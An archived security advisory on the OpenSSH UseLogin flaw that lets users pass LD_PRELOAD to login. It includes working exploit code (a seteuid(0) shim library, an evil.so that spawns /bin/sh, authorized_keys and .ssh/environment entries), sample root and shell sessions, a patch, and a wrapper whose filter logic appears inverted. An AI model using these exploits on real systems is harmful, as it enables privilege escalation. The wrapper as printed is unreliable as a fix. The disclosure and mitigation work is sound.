5th Dec 2001 [SBWID-4895]
COMMAND
sshd (and other ?) dynamically loaded library remote exploit
SYSTEMS AFFECTED
All versions prior to OpenSSH 3.0.1 (including 3.0.1)
Last version 3.0.2 not vulnerable
Update (27 June 2002)
======
The updated news by ari concerns all versions up to this date
PROBLEM
Markus Friedl reported a bug regarding OpenSSH, enabling local attacks.
Vulnerability is in the UseLogin option of OpenSSH. This option is not
enabled in the default installation of OpenSSH.
However, if UseLogin is enabled by the administrator, all versions of
OpenSSH prior to 3.0.2 may be vulnerable to local attacks.
The vulnerability allows local users to pass environment variables
(e.g. LD_PRELOAD) to the login process. The login process is run with
the same privilege as sshd (usually with root privilege).
Update
======
Exploit by [WaR] <war@genhex.org> / http://www.genhex.org :
Create a lib.c file with the next content:
---8<---
#include <stdio.h>
int setuid(int uid){
printf(\"setuid() called...\\n\");
seteuid(0);
}
---8<---
Compile it into a library:
gcc -c -o lib.o lib.c
ld -shared -o libroot.so lib.o
chmod 755 ./libroot.so
Now, for the tricky (*g*) part...
You must have an account on the machine, and create an entry
on $HOME/.ssh/authorized_keys (or authorized_keys2) with:
environment=\"LD_PRELOAD=<your home>/libroot.so\" <your public key>
When sshd receives your connection, it will export this variable
into the environment *BEFORE* running login. Somewhere after this,
it executes a setuid. When it does, it makes a seteuid(0).
$ id
uid=1000(war) gid=100(users) groups=100(users)
$ ssh war@localhost
Enter passphrase for key \'/home/war/.ssh/id_dsa\':
sh-2.04# id
uid=0(root) gid=100(users) groups=100(users)
It also works remotely. Anyway, you _MUST_ have an account on the
victim machine so you can setup the enviroment, and login. And
obviously (duh) it must have UseLogin enabled.
Update (27 June 2002)
======
ari of episec [http://www.episec.com/people/edelkind/] adds :
This problem is not necessarily ssh-specific, though most telnet
daemons that support environment passing should already be configured
to remove dangerous variables due to a similar (and more serious) issue
back in \'95 (ref: [1]). I will give ssh-based examples here.
*** scenario one:
Let\'s say admin bob has a host that he wants to give people ftp access
to. Bob doesn\'t want anyone to have the ability to actually _log into_
his system, so instead of giving users normal shells, or even no
shells, bob gives them all (say) /usr/sbin/nologin, a program he wrote
himself in C to essentially log the attempt to syslog and exit,
effectively ending the user\'s session. As far as most people are
concerned, the user can\'t do much with this aside from, say, setting
up an encrypted tunnel.
The thing is, bob\'s system uses dynamic libraries (as most do), and
/usr/sbin/nologin is dynamically linked (as most such programs are). If
a user can set his environment variables (e.g. by uploading a
\'.ssh/environment\' file) and put some arbitrary file on the system
(e.g. \'doevilstuff.so\'), he can bypass any functionality of
/usr/sbin/nologin completely via LD_PRELOAD (or another member of the
LD_* environment family).
The user can now gain a shell on the system (with his own privileges,
of course, barring any \'UseLogin\' issues (ref: [2])), and
administrator bob, if he were aware of what just occurred, would be
extremely unhappy.
Granted, there are all kinds of interesting ways to (more or less) do
away with this problem. Bob could just grit his teeth and give the ftp
users a nonexistent shell, or he could statically compile nologin,
assuming his operating system comes with static libraries. Bob could
also, humorously, make his nologin program setuid and let the standard
C library take care of the situation. Then, of course, there are also
the ssh-specific access controls such as AllowGroup and AllowUsers.
These may appease the situation in this scenario, but it does not
correct the problem.
*** scenario <n>:
Now, what happens if bob, instead of using /usr/sbin/nologin, wants to
use (for example) some BBS-type interface that he wrote up or
downloaded? It can be a script written in perl or tcl or python, or it
could be a compiled program; doesn\'t matter. Additionally, bob need
not be running an ftp server on this host; instead, perhaps bob uses
nfs or veritas to mount user home directories from a fileserver on his
network; this exact setup is (unfortunately) employed by many bastion
hosts, password management hosts and mail servers---to name a few.
Perhaps bob runs an ISP, and replaces the user\'s shell when he
doesn\'t pay. With all of these possible (and common) scenarios, bob\'s
going to have a somewhat more difficult time getting around the
problem.
Compiling the program statically may not be an option; hell, bob may
not have the source code, or even if he does, he may not have the
know-how to replace arbitrary system commands without breaking things.
He could compile a static wrapper, assuming that his operating system
comes with static libraries, or he _could_ write a setuid wrapper that
just calls setuid(getuid()) before executing the menu-based program,
again to allow the C library to take care of his situation. Still, all
of this may entail replacing arbitrary system commands that may have
been previously explicitly set as user shells.
Ideally, bob shouldn\'t need to take such seemingly odd, nonstandard
precautions. Additionally, should his libc not properly deal with the
LD_* family for setuid programs, suddenly bob may find himself with an
even larger (ahem, marginally larger) problem.
I previously reported this problem to bugs@openbsd.org so that openssh
would have a chance to take care of the situation or discuss it
further, and i had planned the same for ssh communications. However,
markus@openbsd.org decided that this was unimportant, and carbon copied
the tech@openbsd.org mailing list with his opinion.
Exploitation of the problem is simple. The circumvention code would be
compiled into a dynamic library and LD_PRELOAD=/path/to/evil.so should
be placed into ~user/.ssh/environment (a similar environment option may
be appended to public keys in the authohrized_keys file). If no
dynamically loadable programs are executed, this will have no effect.
--- sample session of exploitation ---
bobuser1% ssh bobserver
evil@bobserver\'s password:
User evil is not allowed to log in here. Please use one of
the bobuser systems for shell access and account maintenance.
For assistance, please call the help desk at extension 5432.
Connection to bobserver closed.
bobuser1% pwd
/home/evil
bobuser1% df -k |grep home
bobfs:/home [...] [...] [...] 68% /home
bobuser1% cat >evilso.c
#include <unistd.h>
void _init(void) {
execl(\"/bin/sh\", \"sh\", 0);
}
^D
bobuser1% gcc -o evilso.so -shared -nostdlib evilso.c -Wall
bobuser1% echo \"LD_PRELOAD=/home/evil/evilso.so\" >.ssh/environment
bobuser1% ssh bobserver
evil@bobserver\'s password:
$ unset LD_PRELOAD
$ uname -n
bobserver
$ who am i
evil
$
--- end sample session ---
Update (28 June 2002)
======
Ari adds :
If /bin/sh is shared on your system as well. To get around this, try
the following code for evil.so:
#include <unistd.h>
#include <stdlib.h>
void _init (void) {
unsetenv(\"LD_PRELOAD\");
execl(\"/bin/sh\", \"sh\", 0);
}
SOLUTION
Upgrade to version 3.0.2.
Workaround
==========
Do not enable UseLogin on your machines or disable UseLogin again in
/etc/sshd_config:
UseLogin no
The following patch fixes the UseLogin vulnerability in OpenSSH 3.0.1
and earlier releases.
--- session.c 11 Oct 2001 13:45:21 -0000 1.108
+++ session.c 1 Dec 2001 22:14:39 -0000
@@ -875,6 +875,7 @@
child_set_env(&env, &envsize, \"TZ\", getenv(\"TZ\"));
/* Set custom environment options from RSA authentication. */
+ if (!options.use_login)
while (custom_environment) {
struct envstring *ce = custom_environment;
char *s = ce->s;
Update (27 June 2002)
======
In the light of ari comments :
First and foremost, allow only specific users (AllowUsers) or groups
(AllowGroups) login access with ssh controls, if this is feasible on
your network. This would be the best workaround, but it is not a
solution to the problem.
ISPs and universities (along with similarly affected organizations)
should compile their rejection (or otherwise restricted) binaries
statically (assuming your operating system comes with static
libraries). A sample static/setuid wrapper is appended, and an
alternate static wrapper is given in [1].
Ideally, sshd (and all remote access programs that allow user-definable
environments) should strip any environment settings that libc ignores
for setuid programs.
A sample wrapper is given below, along with compiling instructions.
References follow.
--- sample wrapper ---
/* This is a shell wrapper to remove variables from the login
* environment before executing the desired shell.
*
* While this program should preferably be statically compiled, it was
* also written to accomodate those systems that do not ship with static
* libraries. If your system does not have static libraries, make the
* binary setuid-someuser (may be non-root) instead.
*/
#include <unistd.h>
#include <string.h>
#include <stdio.h>
/* include appended slash */
#define PREPATH \"/realshells/\"
void stripenv(envp)
char **envp;
{
/* the following entries are based on Lawrence R. Rogers\'
* wrapper in cert advisory CA-1995-14 */
register char **p1, **p2;
for (p1 = p2 = envp; *p1; p1++) {
if (memcmp(*p1, \"LD_\", 3) ||
memcmp(*p1, \"_RLD\", 4) ||
memcmp(*p1, \"LIBPATH=\", 8) ||
memcmp(*p1, \"ELF_LD_\", 7) ||
memcmp(*p1, \"AOUT_LD_\", 8) ||
memcmp(*p1, \"IFS=\", 4)) continue;
*p2++ = *p1;
}
*p2 = 0;
}
int main(argc, argv, envp)
int argc;
char **argv;
char **envp;
{
int fnl, ppl;
if (setuid(getuid())) {
perror(\"setuid\");
fflush(stderr);
_exit(1);
}
if (*argv[0] != \'-\') {
/* not a login shell */
_exit(1);
}
fnl = strlen(argv[0]) - 1; /* minus prepended dash */
ppl = strlen(PREPATH);
{
char fn[fnl + ppl + 1];
memcpy (fn, PREPATH, ppl);
memcpy (fn + ppl, (argv[0] + 1), fnl);
*(fn + ppl + fnl) = 0;
stripenv(envp);
execve (fn, argv, envp);
perror(fn);
fflush(stderr);
_exit(1);
}
}
--- end sample setuid wrapper ---
[the following instructions are generalizations and will need to be
adjusted for some operating systems]
If your system supports static libraries:
Compiling (with gcc):
% gcc -o swrapper swrapper.c -O -static -s -Wall
% ldd swrapper
ldd: tcsh: not a dynamic executable
Example setup:
# mkdir /realshells
# ls -l /usr/sbin/nologin
-rwxr-x--x 1 root root 5400 Dec 31 1999 /usr/sbin/nologin
# cp /usr/sbin/nologin /realshells/
# cp swrapper /usr/sbin/nologin
# ls -l /usr/bin/menulogin
-rwxr-x--x 1 root root 19200 Dec 31 1999 /usr/bin/menulogin
# cp /usr/bin/menulogin /realshells/
# cp swrapper /usr/bin/menulogin
If your system does not support static libraries:
Compiling (with gcc):
% gcc -o swrapper swrapper.c -O -s -Wall
Example setup:
(follow setup for statically-blessed systems, plus:)
# chown user:group /usr/sbin/nologin /usr/bin/menulogin
# chmod 4111 /usr/sbin/nologin /usr/bin/menulogin
# ls -l /usr/sbin/nologin /usr/bin/menulogin
---s--x--x 1 user group 4096 Jun 24 01:01 /usr/sbin/nologin
---s--x--x 1 user group 4096 Jun 24 01:01 /usr/bin/menulogin
\'user\' and \'group\' may be the user and group of your preference.
References:
[1] CERT Advisory CA-1995-14,
http://www.cert.org/advisories/CA-1995-14.html
[2] SecurityFocus bugtraq id 3614,
http://online.securityfocus.com/bid/3614
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH